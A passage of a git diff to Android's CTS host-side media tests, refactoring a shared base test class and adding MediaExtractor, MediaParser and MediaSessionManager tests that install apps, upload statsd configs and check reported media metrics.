+        assertFalse(mMediaSessionManager.isTrustedForMediaControl(userInfo));
+    }
 }
diff --git a/hostsidetests/media/app/MediaSessionTestHelper/Android.bp b/hostsidetests/media/app/MediaSessionTestHelper/Android.bp
index d6e141f..66340b2 100644
--- a/hostsidetests/media/app/MediaSessionTestHelper/Android.bp
+++ b/hostsidetests/media/app/MediaSessionTestHelper/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsMediaSessionTestHelper",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/media/bitstreams/Android.bp b/hostsidetests/media/bitstreams/Android.bp
index aa40e61..30bbb69 100644
--- a/hostsidetests/media/bitstreams/Android.bp
+++ b/hostsidetests/media/bitstreams/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsMediaBitstreamsTestCases",
     srcs: [
diff --git a/hostsidetests/media/bitstreams/app/Android.bp b/hostsidetests/media/bitstreams/app/Android.bp
index 477da98..3a4804f 100644
--- a/hostsidetests/media/bitstreams/app/Android.bp
+++ b/hostsidetests/media/bitstreams/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsMediaBitstreamsDeviceSideTestApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/media/bitstreams/common/Android.bp b/hostsidetests/media/bitstreams/common/Android.bp
index a21bd21..a758f20 100644
--- a/hostsidetests/media/bitstreams/common/Android.bp
+++ b/hostsidetests/media/bitstreams/common/Android.bp
@@ -16,6 +16,10 @@
 // Build the common library for use device-side
 //##############################################################################
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library {
     name: "media-bitstreams-common-devicesidelib",
     srcs: ["src/**/*.java"],
diff --git a/hostsidetests/media/src/android/media/cts/BaseMediaHostSideTest.java b/hostsidetests/media/src/android/media/cts/BaseMediaHostSideTest.java
new file mode 100644
index 0000000..ddce632
--- /dev/null
+++ b/hostsidetests/media/src/android/media/cts/BaseMediaHostSideTest.java
@@ -0,0 +1,165 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil;
+import com.android.tradefed.result.CollectingTestListener;
+import com.android.tradefed.result.TestDescription;
+import com.android.tradefed.result.TestResult;
+import com.android.tradefed.result.TestRunResult;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.io.FileNotFoundException;
+import java.util.Map;
+import java.util.concurrent.TimeUnit;
+
+import javax.annotation.Nonnull;
+import javax.annotation.Nullable;
+
+/** Base class for host-side tests for media APIs. */
+public class BaseMediaHostSideTest extends DeviceTestCase implements IBuildReceiver {
+    private static final String RUNNER = "androidx.test.runner.AndroidJUnitRunner";
+
+    /**
+     * The defined timeout (in milliseconds) is used as a maximum waiting time when expecting the
+     * command output from the device. At any time, if the shell command does not output anything
+     * for a period longer than the defined timeout the Tradefed run terminates.
+     */
+    private static final long DEFAULT_SHELL_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(5);
+
+    /** Instrumentation test runner argument key used for individual test timeout. */
+    protected static final String TEST_TIMEOUT_INST_ARGS_KEY = "timeout_msec";
+
+    /**
+     * Sets timeout (in milliseconds) that will be applied to each test. In the event of a test
+     * timeout it will log the results and proceed with executing the next test.
+     */
+    private static final long DEFAULT_TEST_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(5);
+
+    protected IBuildInfo mCtsBuild;
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    /**
+     * Runs tests on the device.
+     *
+     * @param pkgName The test package file name that contains the test.
+     * @param testClassName The class name to test within the test package. If {@code null}, runs
+     *     all test classes in the package.
+     * @param testMethodName Method name to test within the test class. Ignored if {@code
+     *     testClassName} is {@code null}. If {@code null}, runs all test classes in the class.
+     */
+    protected void runDeviceTests(
+            String pkgName, @Nullable String testClassName, @Nullable String testMethodName)
+            throws DeviceNotAvailableException {
+        RemoteAndroidTestRunner testRunner = getTestRunner(pkgName, testClassName, testMethodName);
+        CollectingTestListener listener = new CollectingTestListener();
+        assertTrue(getDevice().runInstrumentationTests(testRunner, listener));
+        assertTestsPassed(listener.getCurrentRunResults());
+    }
+
+    /**
+     * Excutes shell command and returns the result.
+     *
+     * @param command The command to run.
+     * @return The result from the command. If the result was {@code null}, empty string ("") will
+     *     be returned instead. Otherwise, trimmed result will be returned.
+     */
+    protected @Nonnull String executeShellCommand(String command) throws Exception {
+        LogUtil.CLog.d("Starting command " + command);
+        String commandOutput = getDevice().executeShellCommand(command);
+        LogUtil.CLog.d("Output for command " + command + ": " + commandOutput);
+        return commandOutput != null ? commandOutput.trim() : "";
+    }
+
+    /** Installs the app with the given {@code appFileName}. */
+    protected void installApp(String appFileName)
+            throws FileNotFoundException, DeviceNotAvailableException {
+        LogUtil.CLog.d("Installing app " + appFileName);
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+        String result =
+                getDevice()
+                        .installPackage(
+                                buildHelper.getTestFile(appFileName),
+                                /* reinstall= */ true,
+                                /* grantPermissions= */ true,
+                                "-t"); // Signals that this is a test APK.
+        assertNull("Failed to install " + appFileName + ": " + result, result);
+    }
+
+    /** Returns a {@link RemoteAndroidTestRunner} for the given test parameters. */
+    protected RemoteAndroidTestRunner getTestRunner(
+            String pkgName, String testClassName, String testMethodName) {
+        if (testClassName != null && testClassName.startsWith(".")) {
+            testClassName = pkgName + testClassName;
+        }
+
+        RemoteAndroidTestRunner testRunner =
+                new RemoteAndroidTestRunner(pkgName, RUNNER, getDevice().getIDevice());
+        testRunner.setMaxTimeToOutputResponse(DEFAULT_SHELL_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+        testRunner.addInstrumentationArg(
+                TEST_TIMEOUT_INST_ARGS_KEY, Long.toString(DEFAULT_TEST_TIMEOUT_MILLIS));
+        if (testClassName != null && testMethodName != null) {
+            testRunner.setMethodName(testClassName, testMethodName);
+        } else if (testClassName != null) {
+            testRunner.setClassName(testClassName);
+        }
+        return testRunner;
+    }
+
+    /**
+     * Asserts that {@code testRunResult} contains at least one test, and that all tests passed.
+     *
+     * <p>If the assertion fails, an {@link AssertionError} with a descriptive message is thrown.
+     */
+    protected void assertTestsPassed(TestRunResult testRunResult) {
+        if (testRunResult.isRunFailure()) {
+            throw new AssertionError(
+                    "Failed to successfully run device tests for "
+                            + testRunResult.getName()
+                            + ": "
+                            + testRunResult.getRunFailureMessage());
+        }
+        if (testRunResult.getNumTests() == 0) {
+            throw new AssertionError("No tests were run on the device");
+        }
+
+        if (testRunResult.hasFailedTests()) {
+            // Build a meaningful error message
+            StringBuilder errorBuilder = new StringBuilder("On-device tests failed:\n");
+            for (Map.Entry<TestDescription, TestResult> resultEntry :
+                    testRunResult.getTestResults().entrySet()) {
+                if (!resultEntry
+                        .getValue()
+                        .getStatus()
+                        .equals(com.android.ddmlib.testrunner.TestResult.TestStatus.PASSED)) {
+                    errorBuilder.append(resultEntry.getKey().toString());
+                    errorBuilder.append(":\n");
+                    errorBuilder.append(resultEntry.getValue().getStackTrace());
+                }
+            }
+            throw new AssertionError(errorBuilder.toString());
+        }
+    }
+}
diff --git a/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java b/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java
index 08461fb..1a03581 100644
--- a/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java
+++ b/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java
@@ -43,26 +43,7 @@
 /**
  * Base class for host-side tests for multi-user aware media APIs.
  */
-public class BaseMultiUserTest extends DeviceTestCase implements IBuildReceiver {
-    private static final String RUNNER = "androidx.test.runner.AndroidJUnitRunner";
-
-    /**
-     * The defined timeout (in milliseconds) is used as a maximum waiting time when expecting the
-     * command output from the device. At any time, if the shell command does not output anything
-     * for a period longer than the defined timeout the Tradefed run terminates.
-     */
-    private static final long DEFAULT_SHELL_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(5);
-
-    /**
-     * Instrumentation test runner argument key used for individual test timeout
-     **/
-    protected static final String TEST_TIMEOUT_INST_ARGS_KEY = "timeout_msec";
-
-    /**
-     * Sets timeout (in milliseconds) that will be applied to each test. In the
-     * event of a test timeout it will log the results and proceed with executing the next test.
-     */
-    private static final long DEFAULT_TEST_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(5);
+public class BaseMultiUserTest extends BaseMediaHostSideTest {
     private static final String SETTINGS_PACKAGE_VERIFIER_NAMESPACE = "global";
     private static final String SETTINGS_PACKAGE_VERIFIER_NAME = "package_verifier_enable";
 
@@ -78,7 +59,6 @@
      */
     protected static final int USER_SYSTEM = 0;
 
-    private IBuildInfo mCtsBuild;
     private String mPackageVerifier;
 
     private Set<String> mExistingPackages;
@@ -104,7 +84,7 @@
                 "0",
                 USER_ALL);
 
-        mExistingUsers = new ArrayList();
+        mExistingUsers = new ArrayList<>();
         int primaryUserId = getDevice().getPrimaryUserId();
         mExistingUsers.add(primaryUserId);
         mExistingUsers.add(USER_SYSTEM);
@@ -139,11 +119,6 @@
         super.tearDown();
     }
 
-    @Override
-    public void setBuild(IBuildInfo buildInfo) {
-        mCtsBuild = buildInfo;
-    }
-
     /**
      * Installs the app as if the user of the ID {@param userId} has installed the app.
      *
@@ -165,20 +140,6 @@
                 result);
     }
 
-    /**
-     * Excutes shell command and returns the result.
-     *
-     * @param command command to run.
-     * @return result from the command. If the result was {@code null}, empty string ("") will be
-     *    returned instead. Otherwise, trimmed result will be returned.
-     */
-    protected @Nonnull String executeShellCommand(final String command) throws Exception {
-        CLog.d("Starting command " + command);
-        String commandOutput = getDevice().executeShellCommand(command);
-        CLog.d("Output for command " + command + ": " + commandOutput);
-        return commandOutput != null ? commandOutput.trim() : "";
-    }
-
     private int createAndStartUser(String extraParam) throws Exception {
         String command = "pm create-user" + extraParam + " TestUser_" + System.currentTimeMillis();
         String commandOutput = executeShellCommand(command);
@@ -248,49 +209,15 @@
      *    {@code null}.
      * @param userId user ID to run the tests as.
      */
-    protected void runDeviceTestsAsUser(
+    protected void runDeviceTests(
             String pkgName, @Nullable String testClassName,
             @Nullable String testMethodName, int userId) throws DeviceNotAvailableException {
-        if (testClassName != null && testClassName.startsWith(".")) {
-            testClassName = pkgName + testClassName;
-        }
-
-        RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(
-                pkgName, RUNNER, getDevice().getIDevice());
-        testRunner.setMaxTimeToOutputResponse(DEFAULT_SHELL_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
-        testRunner.addInstrumentationArg(
-                TEST_TIMEOUT_INST_ARGS_KEY, Long.toString(DEFAULT_TEST_TIMEOUT_MILLIS));
-        if (testClassName != null && testMethodName != null) {
-            testRunner.setMethodName(testClassName, testMethodName);
-        } else if (testClassName != null) {
-            testRunner.setClassName(testClassName);
-        }
-
+        RemoteAndroidTestRunner testRunner = getTestRunner(pkgName, testClassName, testMethodName);
         CollectingTestListener listener = new CollectingTestListener();
         assertTrue(getDevice().runInstrumentationTestsAsUser(testRunner, userId, listener));
 
         final TestRunResult result = listener.getCurrentRunResults();
-        if (result.isRunFailure()) {
-            throw new AssertionError("Failed to successfully run device tests for "
-                    + result.getName() + ": " + result.getRunFailureMessage());
-        }
-        if (result.getNumTests() == 0) {
-            throw new AssertionError("No tests were run on the device");
-        }
-
-        if (result.hasFailedTests()) {
-            // Build a meaningful error message
-            StringBuilder errorBuilder = new StringBuilder("On-device tests failed:\n");
-            for (Map.Entry<TestDescription, TestResult> resultEntry :
-                    result.getTestResults().entrySet()) {
-                if (!resultEntry.getValue().getStatus().equals(TestStatus.PASSED)) {
-                    errorBuilder.append(resultEntry.getKey().toString());
-                    errorBuilder.append(":\n");
-                    errorBuilder.append(resultEntry.getValue().getStackTrace());
-                }
-            }
-            throw new AssertionError(errorBuilder.toString());
-        }
+        assertTestsPassed(result);
     }
 
     /**
diff --git a/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java b/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java
new file mode 100644
index 0000000..c06603c
--- /dev/null
+++ b/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java
@@ -0,0 +1,173 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.stats.mediametrics.Mediametrics;
+
+import com.android.internal.os.StatsdConfigProto;
+import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
+import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.os.AtomsProto;
+import com.android.os.StatsLog;
+import com.android.os.StatsLog.ConfigMetricsReportList;
+import com.android.tradefed.device.CollectingByteOutputReceiver;
+
+import com.google.common.io.Files;
+
+import java.io.File;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.stream.Collectors;
+
+/** Host-side tests for MediaExtractor. */
+public class MediaExtractorHostSideTest extends BaseMediaHostSideTest {
+    /** Package name of the device-side tests. */
+    private static final String DEVICE_SIDE_TEST_PACKAGE = "android.media.cts";
+    /** Name of the APK that contains the device-side tests. */
+    private static final String DEVICE_SIDE_TEST_APK = "CtsMediaExtractorHostTestApp.apk";
+    /** Fully qualified class name for the device-side tests. */
+    private static final String DEVICE_SIDE_TEST_CLASS =
+            "android.media.cts.MediaExtractorDeviceSideTest";
+
+    private static final long CONFIG_ID = "cts_config".hashCode();
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+        installApp(DEVICE_SIDE_TEST_APK);
+        removeConfig(); // Clear existing configs.
+        createAndUploadConfig();
+        getAndClearReportList(); // Clear existing reports.
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        removeConfig();
+        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+    }
+
+    // Tests.
+
+    public void testMediaMetricsEntryPointSdk() throws Exception {
+        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, DEVICE_SIDE_TEST_CLASS, "testEntryPointSdk");
+        assertThat(getMediaExtractorReportedEntryPoint())
+                .isEqualTo(Mediametrics.ExtractorData.EntryPoint.SDK);
+    }
+
+    public void testMediaMetricsEntryPointNdkNoJvm() throws Exception {
+        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, DEVICE_SIDE_TEST_CLASS, "testEntryPointNdkNoJvm");
+        assertThat(getMediaExtractorReportedEntryPoint())
+                .isEqualTo(Mediametrics.ExtractorData.EntryPoint.NDK_NO_JVM);
+    }
+
+    public void testMediaMetricsEntryPointNdkWithJvm() throws Exception {
+        runDeviceTests(
+                DEVICE_SIDE_TEST_PACKAGE, DEVICE_SIDE_TEST_CLASS, "testEntryPointNdkWithJvm");
+        assertThat(getMediaExtractorReportedEntryPoint())
+                .isEqualTo(Mediametrics.ExtractorData.EntryPoint.NDK_WITH_JVM);
+    }
+
+    // Internal methods.
+
+    /** Removes any existing config with id {@link #CONFIG_ID}. */
+    private void removeConfig() throws Exception {
+        getDevice().executeShellCommand("cmd stats config remove " + CONFIG_ID);
+    }
+
+    /** Creates the statsd config and passes it to statsd. */
+    private void createAndUploadConfig() throws Exception {
+        StatsdConfig.Builder configBuilder =
+                StatsdConfigProto.StatsdConfig.newBuilder()
+                        .setId(CONFIG_ID)
+                        .addAllowedLogSource(DEVICE_SIDE_TEST_PACKAGE)
+                        .addWhitelistedAtomIds(
+                                AtomsProto.Atom.MEDIAMETRICS_EXTRACTOR_REPORTED_FIELD_NUMBER);
+        addAtomEvent(configBuilder);
+        uploadConfig(configBuilder.build());
+    }
+
+    /** Writes the given config into a file and passes is to statsd via standard input. */
+    private void uploadConfig(StatsdConfig config) throws Exception {
+        File configFile = File.createTempFile("statsdconfig", ".config");
+        configFile.deleteOnExit();
+        Files.write(config.toByteArray(), configFile);
+        String remotePath = "/data/local/tmp/" + configFile.getName();
+        // Make sure a config file with the same name doesn't exist already.
+        getDevice().deleteFile(remotePath);
+        assertThat(getDevice().pushFile(configFile, remotePath)).isTrue();
+        getDevice()
+                .executeShellCommand(
+                        "cat " + remotePath + " | cmd stats config update " + CONFIG_ID);
+        getDevice().deleteFile(remotePath);
+    }
+
+    /** Adds an event to the config in order to match MediaParser reported atoms. */
+    private static void addAtomEvent(StatsdConfig.Builder config) {
+        String atomName = "Atom" + System.nanoTime();
+        String eventName = "Event" + System.nanoTime();
+        SimpleAtomMatcher.Builder sam =
+                SimpleAtomMatcher.newBuilder()
+                        .setAtomId(AtomsProto.Atom.MEDIAMETRICS_EXTRACTOR_REPORTED_FIELD_NUMBER);
+        config.addAtomMatcher(
+                StatsdConfigProto.AtomMatcher.newBuilder()
+                        .setId(atomName.hashCode())
+                        .setSimpleAtomMatcher(sam));
+        config.addEventMetric(
+                StatsdConfigProto.EventMetric.newBuilder()
+                        .setId(eventName.hashCode())
+                        .setWhat(atomName.hashCode()));
+    }
+
+    /**
+     * Returns all MediaParser reported metric events sorted by timestamp.
+     *
+     * <p>Note: Calls {@link #getAndClearReportList()} to obtain the statsd report.
+     */
+    private Mediametrics.ExtractorData.EntryPoint getMediaExtractorReportedEntryPoint()
+            throws Exception {
+        ConfigMetricsReportList reportList = getAndClearReportList();
+        assertThat(reportList.getReportsCount()).isEqualTo(1);
+        StatsLog.ConfigMetricsReport report = reportList.getReports(0);
+        ArrayList<StatsLog.EventMetricData> data = new ArrayList<>();
+        report.getMetricsList()
+                .forEach(
+                        statsLogReport ->
+                                data.addAll(statsLogReport.getEventMetrics().getDataList()));
+        List<AtomsProto.MediametricsExtractorReported> mediametricsExtractorReported =
+                data.stream()
+                        .map(element -> element.getAtom().getMediametricsExtractorReported())
+                        .collect(Collectors.toList());
+        // During device boot, services may extract media files. We ensure we only pick up metric
+        // events from our device-side test.
+        mediametricsExtractorReported.removeIf(
+                entry -> !DEVICE_SIDE_TEST_PACKAGE.equals(entry.getPackageName()));
+        assertThat(mediametricsExtractorReported).hasSize(1);
+        return mediametricsExtractorReported.get(0).getExtractorData().getEntryPoint();
+    }
+
+    /** Gets a statsd report and removes it from the device. */
+    private ConfigMetricsReportList getAndClearReportList() throws Exception {
+        CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
+        getDevice()
+                .executeShellCommand(
+                        "cmd stats dump-report " + CONFIG_ID + " --include_current_bucket --proto",
+                        receiver);
+        return ConfigMetricsReportList.parser().parseFrom(receiver.getOutput());
+    }
+}
diff --git a/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java b/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java
index 750e98c..870893c 100644
--- a/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java
+++ b/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java
@@ -251,14 +251,46 @@
         runTest("testGetActiveSessions_hasMediaSessionFromMediaSessionTestHelper");
     }
 
+    @AppModeFull
+    @RequiresDevice
+    // Ignored due to b/171012388.
+    public void ignored_testIsTrusted_withEnabledNotificationListener_returnsTrue()
+            throws Exception {
+        if (!canCreateAdditionalUsers(1)) {
+            CLog.logAndDisplay(LogLevel.INFO,
+                    "Cannot create a new user. Skipping multi-user test cases.");
+            return;
+        }
+
+        int newUserId = createAndStartUser();
+        setAllowGetActiveSessionForTest(true, newUserId);
+        installAppAsUser(DEVICE_SIDE_TEST_APK, newUserId, false);
+        runTestAsUser("testIsTrusted_returnsTrue", newUserId);
+    }
+
+    @AppModeFull
+    @RequiresDevice
+    public void testIsTrusted_withoutEnabledNotificationListener_returnsFalse()
+            throws Exception {
+        if (!canCreateAdditionalUsers(1)) {
+            CLog.logAndDisplay(LogLevel.INFO,
+                    "Cannot create a new user. Skipping multi-user test cases.");
+            return;
+        }
+
+        int newUserId = createAndStartUser();
+        setAllowGetActiveSessionForTest(false, newUserId);
+        installAppAsUser(DEVICE_SIDE_TEST_APK, newUserId, false);
+        runTestAsUser("testIsTrusted_returnsFalse", newUserId);
+    }
+
     private void runTest(String testMethodName) throws DeviceNotAvailableException {
         runTestAsUser(testMethodName, getDevice().getPrimaryUserId());
     }
 
     private void runTestAsUser(String testMethodName, int userId)
             throws DeviceNotAvailableException {
-        runDeviceTestsAsUser(DEVICE_SIDE_TEST_PKG, DEVICE_SIDE_TEST_CLASS,
-                testMethodName, userId);
+        runDeviceTests(DEVICE_SIDE_TEST_PKG, DEVICE_SIDE_TEST_CLASS, testMethodName, userId);
     }
 
     /**
diff --git a/hostsidetests/mediaparser/Android.bp b/hostsidetests/mediaparser/Android.bp
new file mode 100644
index 0000000..216b1c4
--- /dev/null
+++ b/hostsidetests/mediaparser/Android.bp
@@ -0,0 +1,43 @@
+//
+// Copyright 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_test_host {
+    name: "CtsMediaParserHostTestCases",
+    defaults: ["cts_defaults"],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+    ],
+    static_libs: [
+        "cts-host-utils",
+    ],
+    data: [
+      ":CtsMediaParserTestCasesApp",
+    ]
+}
diff --git a/hostsidetests/mediaparser/AndroidTest.xml b/hostsidetests/mediaparser/AndroidTest.xml
new file mode 100644
index 0000000..7d53939
--- /dev/null
+++ b/hostsidetests/mediaparser/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS media host test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="media" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsMediaParserHostTestCases.jar" />
+        <option name="runtime-hint" value="3m" />
+    </test>
+</configuration>
+
diff --git a/hostsidetests/mediaparser/OWNERS b/hostsidetests/mediaparser/OWNERS
new file mode 100644
index 0000000..51256bf
--- /dev/null
+++ b/hostsidetests/mediaparser/OWNERS
@@ -0,0 +1,5 @@
+# Bug component: 817235
+aquilescanta@google.com
+andrewlewis@google.com
+essick@google.com
+marcone@google.com
diff --git a/hostsidetests/mediaparser/src/android/media/mediaparser/cts/MediaParserHostSideTest.java b/hostsidetests/mediaparser/src/android/media/mediaparser/cts/MediaParserHostSideTest.java
new file mode 100644
index 0000000..e5797ce
--- /dev/null
+++ b/hostsidetests/mediaparser/src/android/media/mediaparser/cts/MediaParserHostSideTest.java
@@ -0,0 +1,321 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.mediaparser.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
+import com.android.internal.os.StatsdConfigProto;
+import com.android.internal.os.StatsdConfigProto.AtomMatcher;
+import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
+import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.os.AtomsProto;
+import com.android.os.AtomsProto.MediametricsMediaParserReported;
+import com.android.os.StatsLog;
+import com.android.os.StatsLog.ConfigMetricsReportList;
+import com.android.os.StatsLog.EventMetricData;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.CollectingByteOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.result.CollectingTestListener;
+import com.android.tradefed.result.TestRunResult;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import com.google.common.io.Files;
+
+import java.io.File;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Comparator;
+import java.util.List;
+import java.util.stream.Collectors;
+
+/** Test for checking that the MediaParser CTS tests produce the expected media metrics. */
+public class MediaParserHostSideTest extends DeviceTestCase implements IBuildReceiver {
+
+    private static final String MEDIAPARSER_TEST_APK = "CtsMediaParserTestCasesApp.apk";
+    private static final String MEDIAPARSER_TEST_APP_PACKAGE = "android.media.mediaparser.cts";
+    private static final String MEDIAPARSER_TEST_CLASS_NAME =
+            "android.media.mediaparser.cts.MediaParserTest";
+    private static final String TEST_RUNNER = "androidx.test.runner.AndroidJUnitRunner";
+
+    private static final long CONFIG_ID = "cts_config".hashCode();
+    private static final String MEDIAPARSER_METRICS_SEPARATOR = "\\|";
+    private static final double MEDIAPARSER_METRICS_DITHER_VALUE = .02f;
+
+    private IBuildInfo mCtsBuildInfo;
+
+    // Resource management.
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuildInfo = buildInfo;
+    }
+
+    @Override
+    public void setUp() throws Exception {
+        File apk = new CompatibilityBuildHelper(mCtsBuildInfo).getTestFile(MEDIAPARSER_TEST_APK);
+        assertThat(getDevice().installPackage(apk, /* reinstall= */ true)).isNull();
+        removeConfig();
+        createAndUploadConfig();
+        getAndClearReportList(); // Clear existing reports.
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        removeConfig();
+        getDevice().uninstallPackage(MEDIAPARSER_TEST_APP_PACKAGE);
+    }
+
+    // Tests.
+
+    public void testCreationByNameMetrics() throws Exception {
+        String[] expectedParserNames = {
+            "android.media.mediaparser.MatroskaParser",
+            "android.media.mediaparser.FragmentedMp4Parser",
+            "android.media.mediaparser.Mp4Parser",
+            "android.media.mediaparser.Mp3Parser",
+            "android.media.mediaparser.AdtsParser",
+            "android.media.mediaparser.Ac3Parser",
+            "android.media.mediaparser.TsParser",
+            "android.media.mediaparser.FlvParser",
+            "android.media.mediaparser.OggParser",
+            "android.media.mediaparser.PsParser",
+            "android.media.mediaparser.WavParser",
+            "android.media.mediaparser.AmrParser",
+            "android.media.mediaparser.Ac4Parser",
+            "android.media.mediaparser.FlacParser",
+        };
+        // All of the above are created by name.
+        int[] expectedCreatedByName =
+                Arrays.stream(expectedParserNames).mapToInt(unusedArgument -> 1).toArray();
+        runDeviceTest("testCreationByName");
+        List<MediametricsMediaParserReported> mediaParserReportedEvents =
+                getMediaParserReportedEvents();
+        String[] observedParserNames =
+                mediaParserReportedEvents.stream()
+                        .map(MediametricsMediaParserReported::getParserName)
+                        .toArray(String[]::new);
+        int[] observedCreatedByName =
+                mediaParserReportedEvents.stream()
+                        .mapToInt(MediametricsMediaParserReported::getCreatedByName)
+                        .toArray();
+        assertThat(observedParserNames).isEqualTo(expectedParserNames);
+        assertThat(observedCreatedByName).isEqualTo(expectedCreatedByName);
+    }
+
+    public void testParserPool() throws Exception {
+        runDeviceTest("testMp4");
+        String[] expectedParserNamesInPool = {
